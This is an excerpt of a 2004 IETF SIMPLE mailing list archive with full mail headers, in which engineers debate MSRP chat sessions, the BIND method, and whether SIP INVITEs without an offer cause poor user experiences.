X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 11:24:17 +0100
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

I think one must not forget that the BIND method of MSRP could be a =
potential problem for Chat sessions. This is because the "media" BIND =
request would happen before "control" SIP request of the session =
establishment.

Best Regards,
Xavier Marjou

-----Original Message-----
From: simple-admin@ietf.org [mailto:simple-admin@ietf.org] On Behalf Of =
Miguel.An.Garcia@nokia.com
Sent: vendredi 20 f=E9vrier 2004 07:45
To: simple@ietf.org
Cc: aki.niemi@nokia.com
Subject: [Simple] Chat sessions

Hi:

I would like to draw your attention to a draft that Aki and me =
submitted a few days ago. We are addressing those missing components in =
a multiparty session based messaging (aka chat room). The draft is:

http://www.ietf.org/internet-drafts/draft-niemi-simple-chat-00.txt

We are focusing on two aspects at the moment: setting and displaying a =
nickname; and sending private messages to a subset of the participants =
(sidebar messaging conferences).

We have defined a convention to transport nicknames in message/cpim. =
Messages can be addressed to the whole chat room or just a subset of =
the participants. We have also provided an XML document that allows a =
participant to set her nickname and the chat room server to accept it.

Comments are welcome.

/Miguel
---
Miguel A. Garcia           tel:+358-50-4804586   =20
Nokia Research Center      Helsinki, Finland

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 05:37:17 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA17107
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 05:37:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTkb-0003eN-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 05:37:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyTjZ-0003Pw-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 05:36:14 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTia-00038Y-00; Wed, 03 Mar 2004 05:35:12 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyTib-0000wb-6m; Wed, 03 Mar 2004 05:35:13 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTiW-0000Tn-4p; Wed, 03 Mar 2004 05:35:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTi3-0000PG-2b
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 05:34:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA16984
	for <simple@ietf.org>; Wed, 3 Mar 2004 05:34:16 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyThf-0002zQ-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:34:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyTgr-0002oQ-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:33:25 -0500
Received: from mail4.dynamicsoft.com ([63.110.3.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTg2-0002UE-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:32:34 -0500
Received: from DYN-TX-EXCH-001.dynamicsoft.com (dyn-tx-exch-001 [63.110.3.8])
	by mail4.dynamicsoft.com (8.12.8/8.12.8) with ESMTP id i23AVw0p001627;
	Wed, 3 Mar 2004 04:31:58 -0600 (CST)
Received: by dyn-tx-exch-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <10MYQRN9>; Wed, 3 Mar 2004 04:31:57 -0600
Message-ID: <9ACE0CEE075B494096C86C23878BF85906A362@dyn-tx-exch-001.dynamicsoft.com>
From: Adam Roach <adam@dynamicsoft.com>
To: "'Paul Kyzivat'" <pkyzivat@cisco.com>, Adam Roach <adam@dynamicsoft.com>
Cc: "'Cullen Jennings'" <fluffy@cisco.com>,
        Ben Campbell
	 <bcampbell@dynamicsoft.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>,
        simple@ietf.org
Subject: RE: [Simple] RE: MSRP & Comedia
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 04:31:55 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Paul Kyzivat [mailto:pkyzivat@cisco.com]

> In this particular case, it is the device that will have the bad user 
> experience that takes the initiative to send the offer with 
> preconditions. And in this case, since the offer is in a response, it 
> would typically only be tried if the request indicated 
> support for the 
> preconditions. When it can't do that, we have a less that 
> desirable user 
> experience, but things still work.

And that's precisely the difference between the cases. At least
the ones you're talking about here *work*, even if suboptimally.
With the ones that I'm warning against, things don't even work.

/a

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 05:38:36 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA17250
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 05:38:31 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTlK-0000tL-Rw
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 05:38:03 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i23Ac1rY003415
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 05:38:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTlJ-0000sq-8G
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 05:38:01 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA17110
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 05:37:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTkb-0003eS-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 05:37:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyTja-0003Q4-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 05:36:15 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTia-00038Y-00; Wed, 03 Mar 2004 05:35:12 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyTib-0000wb-6m; Wed, 03 Mar 2004 05:35:13 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTiW-0000Tn-4p; Wed, 03 Mar 2004 05:35:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTi3-0000PG-2b
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 05:34:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA16984
	for <simple@ietf.org>; Wed, 3 Mar 2004 05:34:16 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyThf-0002zQ-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:34:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyTgr-0002oQ-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:33:25 -0500
Received: from mail4.dynamicsoft.com ([63.110.3.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTg2-0002UE-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:32:34 -0500
Received: from DYN-TX-EXCH-001.dynamicsoft.com (dyn-tx-exch-001 [63.110.3.8])
	by mail4.dynamicsoft.com (8.12.8/8.12.8) with ESMTP id i23AVw0p001627;
	Wed, 3 Mar 2004 04:31:58 -0600 (CST)
Received: by dyn-tx-exch-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <10MYQRN9>; Wed, 3 Mar 2004 04:31:57 -0600
Message-ID: <9ACE0CEE075B494096C86C23878BF85906A362@dyn-tx-exch-001.dynamicsoft.com>
From: Adam Roach <adam@dynamicsoft.com>
To: "'Paul Kyzivat'" <pkyzivat@cisco.com>, Adam Roach <adam@dynamicsoft.com>
Cc: "'Cullen Jennings'" <fluffy@cisco.com>,
        Ben Campbell
	 <bcampbell@dynamicsoft.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>,
        simple@ietf.org
Subject: RE: [Simple] RE: MSRP & Comedia
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 04:31:55 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Paul Kyzivat [mailto:pkyzivat@cisco.com]

> In this particular case, it is the device that will have the bad user 
> experience that takes the initiative to send the offer with 
> preconditions. And in this case, since the offer is in a response, it 
> would typically only be tried if the request indicated 
> support for the 
> preconditions. When it can't do that, we have a less that 
> desirable user 
> experience, but things still work.

And that's precisely the difference between the cases. At least
the ones you're talking about here *work*, even if suboptimally.
With the ones that I'm warning against, things don't even work.

/a

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 05:44:22 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA17500
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 05:44:22 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTrS-0004zd-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 05:44:22 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyTqZ-0004pW-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 05:43:28 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTpg-0004g1-00; Wed, 03 Mar 2004 05:42:32 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTpf-0001od-Ew; Wed, 03 Mar 2004 05:42:31 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTor-0001bg-TV
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 05:41:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA17415
	for <simple@ietf.org>; Wed, 3 Mar 2004 05:41:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyToT-0004T3-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:41:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyTnX-0004IP-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:40:21 -0500
Received: from mail4.dynamicsoft.com ([63.110.3.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTmb-0003wd-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:39:21 -0500
Received: from DYN-TX-EXCH-001.dynamicsoft.com (dyn-tx-exch-001 [63.110.3.8])
	by mail4.dynamicsoft.com (8.12.8/8.12.8) with ESMTP id i23Acj0p002955;
	Wed, 3 Mar 2004 04:38:45 -0600 (CST)
Received: by dyn-tx-exch-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <10MYQR3D>; Wed, 3 Mar 2004 04:38:44 -0600
Message-ID: <9ACE0CEE075B494096C86C23878BF85906A363@dyn-tx-exch-001.dynamicsoft.com>
From: Adam Roach <adam@dynamicsoft.com>
To: "'Rohan Mahy'" <rohan@cisco.com>, Adam Roach <adam@dynamicsoft.com>
Cc: "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        Ben Campbell
	 <bcampbell@dynamicsoft.com>,
        "'Cullen Jennings'" <fluffy@cisco.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, simple@ietf.org
Subject: RE: [Simple] RE: MSRP & Comedia
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 04:38:42 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

I really don't like the prospect of requiring caller
prefs to avoid these kind of bizarre and unfortunate
user experiences.

My main point is that using empty INVITEs seems to
cause more problems than it solves. Are these problems
completely intractable? Probably not. Are they
unpleasant? Well, I certainly think so.

So, given the chance, I'd far prefer to see solutions
that don't require callee offers explored before we
resort to a tool that brings unpleasant consequences
(or, at the very least, specific additional mechanisms
added throughout the system).

/a

> -----Original Message-----
> From: Rohan Mahy [mailto:rohan@cisco.com]
> Sent: Wednesday, March 03, 2004 2:17
> To: Adam Roach
> Cc: 'Paul Kyzivat'; Ben Campbell; Rohan Mahy; 'Cullen 
> Jennings'; Robert
> Sparks; simple@ietf.org
> Subject: Re: [Simple] RE: MSRP & Comedia
> 
> 
> Adam,
> 
> You could use caller prefs even with your rusty/dusty/trusty "legacy" 
> SIP phone  ;-).
> 
> You would need something to add media feature parameters to the 
> registration of the 7960 on its behalf.  This is not that big a deal.
> 
> thanks,
> -rohan
> 
> 
> On Mar 3, 2004, at 4:49 PM, Adam Roach wrote:
> 
> > That's all great. Now tell me how it works using
> > the Cisco 7960 sitting on my desk right now. Assume
> > that upgrading the software is not an option.
> >
> > /a
> >
> >> -----Original Message-----
> >> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> >> Sent: Tuesday, March 02, 2004 20:09
> >> To: Adam Roach
> >> Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
> >> simple@ietf.org
> >> Subject: Re: [Simple] RE: MSRP & Comedia
> >>
> >>
> >> There are a couple of solutions to the bad user experience
> >> you outline:
> >>
> >> - the UAC can use callerprefs to indicate what media it desires.
> >>    For this to work the UAS would have to evaluate the callerprefs,
> >>    which isn't currently required or expected.
> >>
> >> - preconditions could be used to ensure that there is a 
> satisfactory
> >>    agreement on media before alerting. In this particular
> >> case it would
> >>    be the UAS that inserts the preconditions as a way of 
> improving the
> >>    user experience at its end. Most any precondition would 
> do, though
> >>    the newly proposed connectivity precondition would be quite
> >>    appropriate. A hypothetical new precondition relating to
> >> negotiation
> >>    of some acceptable (set of) media stream(s) might also be
> >> interesting.
> >>
> >> Paul
> >>
> >> Adam Roach wrote:
> >>> Okay, so, the user experience you're promoting
> >>> here would lead to a situation in which you open
> >>> up your IM client, type in a message for me,
> >>> and my desktop hard phone starts ringing. Several
> >>> seconds later, I pick up the receiver, my hardphone
> >>> sends a "200 OK" response, and... well, nothing
> >>> good can come of any result at this point.
> >>>
> >>> If your client supports audio, my voice is suddenly
> >>> coming out of your PC speakers. If not, the call
> >>> is torn down, your client renders an error to you,
> >>> sends me a bye, and I'm sitting there holding a dead
> >>> handset.
> >>>
> >>> This is the problem that I've pointed out occasionally
> >>> for several years: this "send an INVITE with no body"
> >>> approach for setting up sessions causes all kinds
> >>> of problems. It was originally added for interwork
> >>> with the prehistoric H.323v1 procedures, and not killed
> >>> because we observed that it can be used in this clever
> >>> 3pcc hack -- but it invariably leads to a message that
> >>> semantically means the same thing as the dialog
> >>> box that I sent earlier.
> >>>
> >>> /a
> >>>
> >>>
> >>>> -----Original Message-----
> >>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
> >>>> Sent: Monday, March 01, 2004 8:38
> >>>> To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
> >>>> Cc: simple@ietf.org
> >>>> Subject: Re: [Simple] RE: MSRP & Comedia
> >>>>
> >>>>
> >>>>
> >>>> It just sends an offer with all three and then the other ends
> >>>> selects. This
> >>>> is how SIP is today - you can send an invite with no offer
> >>>> then get the
> >>>> offer in the response and put the answer in the ack.
> >>>>
> >>>> On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
> >>>>
> >>>>
> >>>>> From a protocol perspective, this sounds reasonable.
> >>>>>
> >>>>> I think the key problem is that the first example shifts the
> >>>>> decision of what type of communication is requested
> >>>>> from the caller to the callee. Without getting into a discussion
> >>>>> of whether that is the "right" thing to do, it certainly is
> >>>>> going to differ from user expectations.
> >>>>>
> >>>>> +----------------------------------------------+
> >>>>> | Cullen Jennings <sip:fluffy@cisco.com> wants |
> >>>>> | to start a conversation, but I have no idea  |
> >>>>> | what kind. Take your best guess:             |
> >>>>> |                                              |
> >>>>> |    +-------+  +-----------------+  +----+    |
> >>>>> |    | Voice |  | Voice and video |  | IM |    |
> >>>>> |    +-------+  +-----------------+  +----+    |
> >>>>> +----------------------------------------------+
> >>>>>
> >>>>> /a
> >>>>>
> >>>>>
> >>>>>> -----Original Message-----
> >>>>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
> >>>>>> Sent: Friday, February 27, 2004 0:50
> >>>>>> To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
> >>>>>> Cc: simple@ietf.org
> >>>>>> Subject: MSRP & Comedia
> >>>>>>
> >>>>>>
> >>>>>>
> >>>>>> This is a half baked idea that I am just tossing out as food
> >>>>>> for thought
> >>>>>>
> >>>>>> Consider a systems where something like the UA that sends the
> >>>>>> answer sends
> >>>>>> the VISIT.
> >>>>>>
> >>>>>> Consider the cases where A want to set up a MSRP 
> session with B.
> >>>>>>
> >>>>>> A is behind a NAT and does not want to use a relay. A sends
> >>>>>> an INVITE with
> >>>>>> no offer. B sends an offer, gets back an answer and A
> >>>>>
> >>>> sends the VISIT.
> >>>>
> >>>>>> A -> inv    -> B
> >>>>>> A <- offer  <- B
> >>>>>> A -> answer -> B
> >>>>>> A -> visit  -> B
> >>>>>>
> >>>>>> B is behind a NAT. A sends an offer and B sends an answer and
> >>>>>> A sends VISIT.
> >>>>>> A -> offer  -> B
> >>>>>> A <- answer <- B
> >>>>>> A <- visit  <- B
> >>>>>>
> >>>>>> A and B are behind NATS. A sends INVITE no offer, B knows
> >>>>>> relay is needed
> >>>>>> and gets one and sends offer.
> >>>>>>
> >>>>>> The underlying principal is basically if you don't know what
> >>>>>> port you are
> >>>>>> going to receive media at (which is the case with a NAT) you
> >>>>>> should not be
> >>>>>> making any offers and if you make an offer the assumption is
> >>>>>> that the other
> >>>>>> side and send media (a VISIT) to that and have it work.
> >>>>>>
> >>>>>> The fundamental thing I am trying to avoid is two vendors
> >>>>>> both saying they
> >>>>>> have MSRP compliant systems yet still having them fail to be
> >>>>>> able to talk to
> >>>>>> each other because they both expect the other one to host.
> >>>>>>
> >>>>>
> >>>>> _______________________________________________
> >>>>> Simple mailing list
> >>>>> Simple@ietf.org
> >>>>> https://www1.ietf.org/mailman/listinfo/simple
> >>>>>
> >>>>
> >>>>
> >>>> _______________________________________________
> >>>> Simple mailing list
> >>>> Simple@ietf.org
> >>>> https://www1.ietf.org/mailman/listinfo/simple
> >>>>
> >>>
> >>>
> >>> _______________________________________________
> >>> Simple mailing list
> >>> Simple@ietf.org
> >>> https://www1.ietf.org/mailman/listinfo/simple
> >>>
> >>
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 05:45:41 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA17589
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 05:45:36 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTsD-0002Ma-Jr
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 05:45:09 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i23Aj9W5009070
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 05:45:09 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTsA-0002MA-UI
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 05:45:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA17503
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 05:44:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTrT-0004zl-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 05:44:23 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyTqa-0004pp-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 05:43:30 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTpg-0004g1-00; Wed, 03 Mar 2004 05:42:32 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTpf-0001od-Ew; Wed, 03 Mar 2004 05:42:31 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTor-0001bg-TV
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 05:41:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA17415
	for <simple@ietf.org>; Wed, 3 Mar 2004 05:41:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyToT-0004T3-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:41:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyTnX-0004IP-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:40:21 -0500
Received: from mail4.dynamicsoft.com ([63.110.3.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTmb-0003wd-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:39:21 -0500
Received: from DYN-TX-EXCH-001.dynamicsoft.com (dyn-tx-exch-001 [63.110.3.8])
	by mail4.dynamicsoft.com (8.12.8/8.12.8) with ESMTP id i23Acj0p002955;
	Wed, 3 Mar 2004 04:38:45 -0600 (CST)
Received: by dyn-tx-exch-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <10MYQR3D>; Wed, 3 Mar 2004 04:38:44 -0600
Message-ID: <9ACE0CEE075B494096C86C23878BF85906A363@dyn-tx-exch-001.dynamicsoft.com>
From: Adam Roach <adam@dynamicsoft.com>
To: "'Rohan Mahy'" <rohan@cisco.com>, Adam Roach <adam@dynamicsoft.com>
Cc: "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        Ben Campbell
	 <bcampbell@dynamicsoft.com>,
        "'Cullen Jennings'" <fluffy@cisco.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, simple@ietf.org
Subject: RE: [Simple] RE: MSRP & Comedia
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 04:38:42 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

I really don't like the prospect of requiring caller
prefs to avoid these kind of bizarre and unfortunate
user experiences.

My main point is that using empty INVITEs seems to
cause more problems than it solves. Are these problems
completely intractable? Probably not. Are they
unpleasant? Well, I certainly think so.

So, given the chance, I'd far prefer to see solutions
that don't require callee offers explored before we
resort to a tool that brings unpleasant consequences
(or, at the very least, specific additional mechanisms
added throughout the system).

/a

> -----Original Message-----
> From: Rohan Mahy [mailto:rohan@cisco.com]
> Sent: Wednesday, March 03, 2004 2:17
> To: Adam Roach
> Cc: 'Paul Kyzivat'; Ben Campbell; Rohan Mahy; 'Cullen 
> Jennings'; Robert
> Sparks; simple@ietf.org
> Subject: Re: [Simple] RE: MSRP & Comedia
> 
> 
> Adam,
> 
> You could use caller prefs even with your rusty/dusty/trusty "legacy" 
> SIP phone  ;-).
> 
> You would need something to add media feature parameters to the 
> registration of the 7960 on its behalf.  This is not that big a deal.
> 
> thanks,
> -rohan
> 
> 
> On Mar 3, 2004, at 4:49 PM, Adam Roach wrote:
> 
> > That's all great. Now tell me how it works using
> > the Cisco 7960 sitting on my desk right now. Assume
> > that upgrading the software is not an option.
> >
> > /a
> >
> >> -----Original Message-----
> >> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> >> Sent: Tuesday, March 02, 2004 20:09
> >> To: Adam Roach
> >> Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
> >> simple@ietf.org
> >> Subject: Re: [Simple] RE: MSRP & Comedia
> >>
> >>
> >> There are a couple of solutions to the bad user experience
> >> you outline:
